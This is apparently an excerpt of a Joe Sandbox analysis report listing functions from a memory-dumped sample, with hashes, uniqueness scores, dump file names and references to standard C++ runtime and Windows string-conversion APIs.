Instruction ID: 7196da71f075519270e591c042f12043b64c745beb1c7e90dd73ab7269a3f209
Opcode Fuzzy Hash: 66a0cce6e4e6f57df418d764f821b2e4e0e71a48398edf5238e108fe80ae02dd
Instruction Fuzzy Hash: 7F217C746206028FD724CF25C4E1B56BBE2FB46304F04989CD89ACB766DB78E454CB54

Uniqueness

Uniqueness Score: -1.00%

Function 003CB133 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc6af07c4748a2edbceaa7a72a57bd8bf97c5726bf7be9aad90285a72dc93cef
Instruction ID: e8ac40c61c513ed322761e3cb40d721128bd2563ceb00637aa138652fee87104
Opcode Fuzzy Hash: fc6af07c4748a2edbceaa7a72a57bd8bf97c5726bf7be9aad90285a72dc93cef
Instruction Fuzzy Hash: C31136B4210B429BE3248F24D869B27FBB5BB86305F145A1CD46657B81C779B818CB84

Uniqueness

Uniqueness Score: -1.00%

Function 003F99E9 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a155f739aae31bd67b231a483a89f20f49eeadbc82a4eca2b776e922bf575e8b
Instruction ID: a0887b2299146a373ea9a0d22bee4edd9e304184fbc60042ec542663d3d33cbc
Opcode Fuzzy Hash: a155f739aae31bd67b231a483a89f20f49eeadbc82a4eca2b776e922bf575e8b
Instruction Fuzzy Hash: B7F06D7A7197449BC708CF29D49137EFBE0AB86311F1A987DE59AC3350CA34DC088B05

Uniqueness

Uniqueness Score: -1.00%

Function 003C7590 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction ID: 264ab5cdbba603025f5abdb298a9a654bb25fd4185210fc00026fc8159d0bfe3
Opcode Fuzzy Hash: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction Fuzzy Hash: 59D0A76154C7A10ED7598D3804A0977FBE8E987662F18149EE8D5E3109E220DC014BA8

Uniqueness

Uniqueness Score: -1.00%

Function 003DE0F6 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb2ab304bb5a62f769bf1b58d9956491a081dfac157d3b783b69eeeacf1be1d0
Instruction ID: 20dd0f6620900c32c0b220041f938c82fe1d785c3a00a8e9e79986d7c480164c
Opcode Fuzzy Hash: cb2ab304bb5a62f769bf1b58d9956491a081dfac157d3b783b69eeeacf1be1d0
Instruction Fuzzy Hash: B9D05E786186A08FE309CF19C491A32BBF1BB8F201F08548CD1834B762C231ED10EB58

Uniqueness

Uniqueness Score: -1.00%

Function 003F738E Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18510b3bab13457cf41b9990c7d83dd29f1f72bb3d16840d143a113b0e5df7f7
Instruction ID: aea79b2967452a43e788d6b31a6437ada588e3c1f8d1b3e9fc00c22579108464
Opcode Fuzzy Hash: 18510b3bab13457cf41b9990c7d83dd29f1f72bb3d16840d143a113b0e5df7f7
Instruction Fuzzy Hash: 66E0677CA102159FC318CF14E8A49357372B78A306B14617EC842A3B67FB34E802DE0C

Uniqueness

Uniqueness Score: -1.00%

Function 003DFC70 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d03c27fb76c1db3fb6c82c61ae1316b189b17ac34702f252e27b179e3d9fbf7a
Instruction ID: 3f6c23db04aca6f1b47e3ed9674673c8482df5349239d2da39fcbc642a8cfe25
Opcode Fuzzy Hash: d03c27fb76c1db3fb6c82c61ae1316b189b17ac34702f252e27b179e3d9fbf7a
Instruction Fuzzy Hash: 24D05239800201CF8319CF08E5D08B3F3B2FB87304B182229D40A6BA12C732B80BCA4A

Uniqueness

Uniqueness Score: -1.00%

Function 003CC83E Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4385fbf8ade751d214748250330c1f1f8a742e41b18dd875dc89a3879d483f63
Instruction ID: 231329e587d30c5af7994b2bcdfcfdf05b0cdc9ef7dd9c45ec94a497a8d8409b
Opcode Fuzzy Hash: 4385fbf8ade751d214748250330c1f1f8a742e41b18dd875dc89a3879d483f63
Instruction Fuzzy Hash: EFC08CA9AC1840878A089B20EC6293B72B3C38B108F047438C003EB702C918D802860D

Uniqueness

Uniqueness Score: -1.00%

Function 003DE0F4 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c47e16da6adad8de3353e9d0c902f22572303e509f1a3c3302c81d68a058f31f
Instruction ID: 86519c00d1718d8a59e53e668492f677e8b9678c3794ed4fd1cf37145c5c2b14
Opcode Fuzzy Hash: c47e16da6adad8de3353e9d0c902f22572303e509f1a3c3302c81d68a058f31f
Instruction Fuzzy Hash: D3C012786081508FD708CF05D852432B776B78B202714601DC4821B716C130D911E61C

Uniqueness

Uniqueness Score: -1.00%

Function 003F8DF6 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df48a845b14dc2eb97787faafb7776c9979838992f1b875477dd4a484d1a4ec0
Instruction ID: 91725a928e6cbec1e0eaa173f58b37a7eb7425ae68a1c75403d56ab83163d7d6
Opcode Fuzzy Hash: df48a845b14dc2eb97787faafb7776c9979838992f1b875477dd4a484d1a4ec0
Instruction Fuzzy Hash: F1C04C39A440008B8645CF35DC41431F376B757604B14F4529C55A3615C130E8134A4C

Uniqueness

Uniqueness Score: -1.00%

Function 003F7B79 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db01018089e855c571210fabeb790b8eaf95167330ac75e3282f512282c589bb
Instruction ID: 6e1c14202d62508813b184f2f3ce9db49114f88988fd1ccf4b55b5bec399819f
Opcode Fuzzy Hash: db01018089e855c571210fabeb790b8eaf95167330ac75e3282f512282c589bb
Instruction Fuzzy Hash: 89B0923CEA9080878208CF04E851430A238B307208F2034AAC813F32A1C9A0D941890C

Uniqueness

Uniqueness Score: -1.00%

Function 003D7EB7 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90a2047436e0a1c0fe2b959331c48bb2a01d18c7fafb4aa562fa7958c150e3f6
Instruction ID: 62a58629ce3515631c7d74d9e31d4a8ab9a75464ed95b33bd759d910579d6265
Opcode Fuzzy Hash: 90a2047436e0a1c0fe2b959331c48bb2a01d18c7fafb4aa562fa7958c150e3f6
Instruction Fuzzy Hash: 1F900224D4C1008E81008F049480574F278630B242F5038109008F3011D710D445850C

Uniqueness

Uniqueness Score: -1.00%

Function 00393966 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0039396D
std::_Lockit::_Lockit.LIBCPMT ref: 00393977
int.LIBCPMT ref: 0039398E

Part of subcall function 003916AA: std::_Lockit::_Lockit.LIBCPMT ref: 003916BB
Part of subcall function 003916AA: std::_Lockit::~_Lockit.LIBCPMT ref: 003916D5

codecvt.LIBCPMT ref: 003939B1
std::_Facet_Register.LIBCPMT ref: 003939C8
std::_Lockit::~_Lockit.LIBCPMT ref: 003939E8
Concurrency::cancel_current_task.LIBCPMT ref: 003939F5

Strings

@9, xrefs: 003939D5

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3Registercodecvt
String ID: @9
API String ID: 2133458128-1263358865
Opcode ID: 0a04a3c1747263a2562cded6bf75012739559f1f5e6e862a95d9f3b3436995de
Instruction ID: 77293fb1ae8afa9b5fd932d6a13e5ff648febb4917ae5441c7331a86514c6c3c
Opcode Fuzzy Hash: 0a04a3c1747263a2562cded6bf75012739559f1f5e6e862a95d9f3b3436995de
Instruction Fuzzy Hash: 531100B59006159FCF13EF68C8067AEB7B8EF85320F11050AE902AB280DFB09F018B81

Uniqueness

Uniqueness Score: -1.00%

Function 00394D35 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00394D3C
std::_Lockit::_Lockit.LIBCPMT ref: 00394D46
int.LIBCPMT ref: 00394D5D

Part of subcall function 003916AA: std::_Lockit::_Lockit.LIBCPMT ref: 003916BB
Part of subcall function 003916AA: std::_Lockit::~_Lockit.LIBCPMT ref: 003916D5

codecvt.LIBCPMT ref: 00394D80
std::_Facet_Register.LIBCPMT ref: 00394D97
std::_Lockit::~_Lockit.LIBCPMT ref: 00394DB7
Concurrency::cancel_current_task.LIBCPMT ref: 00394DC4

Strings

@9, xrefs: 00394DA4

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3Registercodecvt
String ID: @9
API String ID: 2133458128-1263358865
Opcode ID: 92ccbf7c2f24470fd9f0a0a204486614afc8bc875c9e7e53cc446d7a871f7920
Instruction ID: c1944bc2601f049370087680e5254d80898c017e9cc9f0a84994e13f2e31b788
Opcode Fuzzy Hash: 92ccbf7c2f24470fd9f0a0a204486614afc8bc875c9e7e53cc446d7a871f7920
Instruction Fuzzy Hash: 6A11D3B59006159FCF13EFA8D802AAEBBF4EF44714F15455AE405EB392DB709E01CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00399CB8 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00399DD7
___TypeMatch.LIBVCRUNTIME ref: 00399EE5
_UnwindNestedFrames.LIBCMT ref: 0039A037
CallUnexpected.LIBVCRUNTIME ref: 0039A052

Strings

csm, xrefs: 00399E0E
csm, xrefs: 00399CF5
csm, xrefs: 00399D62

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: cb86dfcebe9c38d4e641e272e16ebccb39cdbe941244287456f1341a5c014b7e
Instruction ID: 9051d281cd3961cd6d0e89beb7503aeeb96e95f840f2f5a7647ba68265514740
Opcode Fuzzy Hash: cb86dfcebe9c38d4e641e272e16ebccb39cdbe941244287456f1341a5c014b7e
Instruction Fuzzy Hash: 11B16C71C00609EFCF26DFA9C881AAEBBB5FF14311F15415EE816AB212D731DA51CB91

Uniqueness

Uniqueness Score: -1.00%

Function 003A551C Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 298COMMONLIBRARYCODE

Download Yara Rule

Strings

, xrefs: 003A5795

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: 3ff563f1c5cec2b18bb62b19c17cbdedb752ee8964ac9222e77e49cdb58b6f8d
Instruction ID: 8800e960ae4b01131fc7b23bd7ca32f69ce078a68440e385dc936d6f102dff76
Opcode Fuzzy Hash: 3ff563f1c5cec2b18bb62b19c17cbdedb752ee8964ac9222e77e49cdb58b6f8d
Instruction Fuzzy Hash: E8B1FE70E04A09AFDB13DF98D880BAEBBB9EF47304F154158E511AB292C7759D41CF61

Uniqueness

Uniqueness Score: -1.00%

Function 00399750 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00399787
___except_validate_context_record.LIBVCRUNTIME ref: 0039978F
_ValidateLocalCookies.LIBCMT ref: 00399818
__IsNonwritableInCurrentImage.LIBCMT ref: 00399843
_ValidateLocalCookies.LIBCMT ref: 00399898

Strings

csm, xrefs: 0039982D
@9, xrefs: 0039985C

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm$@9
API String ID: 1170836740-3714679896
Opcode ID: 729eab9ecde6ee52efdda36284ca2c0487bc3eabeeeaa25670747ff95072d602
Instruction ID: b85793f7ab00342435f39f45b6dbf2c4ea3099a52bb221cdce68507267cc8458
Opcode Fuzzy Hash: 729eab9ecde6ee52efdda36284ca2c0487bc3eabeeeaa25670747ff95072d602
Instruction Fuzzy Hash: D2419234A00209AFCF12DFADC885B9EBBB5BF46314F15815AE914AF392D731DA01CB91

Uniqueness

Uniqueness Score: -1.00%

Function 003AC993 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(009D0520,009D0520,?,7FFFFFFF,?,003ACC63,009D0520,009D0520,?,009D0520,?,?,?,?,009D0520,?), ref: 003ACA39
__alloca_probe_16.LIBCMT ref: 003ACAF4
__alloca_probe_16.LIBCMT ref: 003ACB83
__freea.LIBCMT ref: 003ACBCE
__freea.LIBCMT ref: 003ACBD4
__freea.LIBCMT ref: 003ACC0A
__freea.LIBCMT ref: 003ACC10
__freea.LIBCMT ref: 003ACC20

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: c85cc725b7e05e556e57e8d4b99282a2e5a37d78ffe6e4e22c639622727a0f75
Instruction ID: 2c306ab1a92e96923e652850741d208d47fae4b627f2e7b36787b1be930d9159
Opcode Fuzzy Hash: c85cc725b7e05e556e57e8d4b99282a2e5a37d78ffe6e4e22c639622727a0f75
Instruction Fuzzy Hash: 7271F672920209ABDF23AF64CC92FBE77B9EF4B320F1A1159E905BB251D7359C418760

Uniqueness

Uniqueness Score: -1.00%

Function 00396380 Relevance: 12.2, APIs: 8, Instructions: 175COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 003963C9
__alloca_probe_16.LIBCMT ref: 003963F5
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 00396434
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00396451
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00396490
__alloca_probe_16.LIBCMT ref: 003964AD
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 003964EF
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00396512

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 5d14ec6aaf2deb4974200fd9567e51cb0470b7ab74c6ffaca0f9be7ecb0b0251
Instruction ID: 7130d5155aafea2ac833df0632fb57ef6bad327a7e3efd49e8ea67e65000e191
Opcode Fuzzy Hash: 5d14ec6aaf2deb4974200fd9567e51cb0470b7ab74c6ffaca0f9be7ecb0b0251
Instruction Fuzzy Hash: A151BD7250221AAFEF229FA1DC46FAB7BB9EB41780F164029F905EA154E730DD10CB60

Uniqueness

Uniqueness Score: -1.00%

Function 003936E9 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003936F0
std::_Lockit::_Lockit.LIBCPMT ref: 003936FB
std::locale::_Setgloballocale.LIBCPMT ref: 00393716
_Yarn.LIBCPMT ref: 0039372C
std::_Lockit::~_Lockit.LIBCPMT ref: 00393769

Strings

@9, xrefs: 00393738, 0039375C

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: Lockitstd::_$H_prolog3Lockit::_Lockit::~_SetgloballocaleYarnstd::locale::_
String ID: @9
API String ID: 156189095-1263358865
Opcode ID: 6ae358235d3aed62ed544e92196a9d2b8a0427dd20f2455e0050477a37104885
Instruction ID: 665499245d0c57244ecab137fa97100afe88a6affd9caf1d271323d384d5766d
Opcode Fuzzy Hash: 6ae358235d3aed62ed544e92196a9d2b8a0427dd20f2455e0050477a37104885
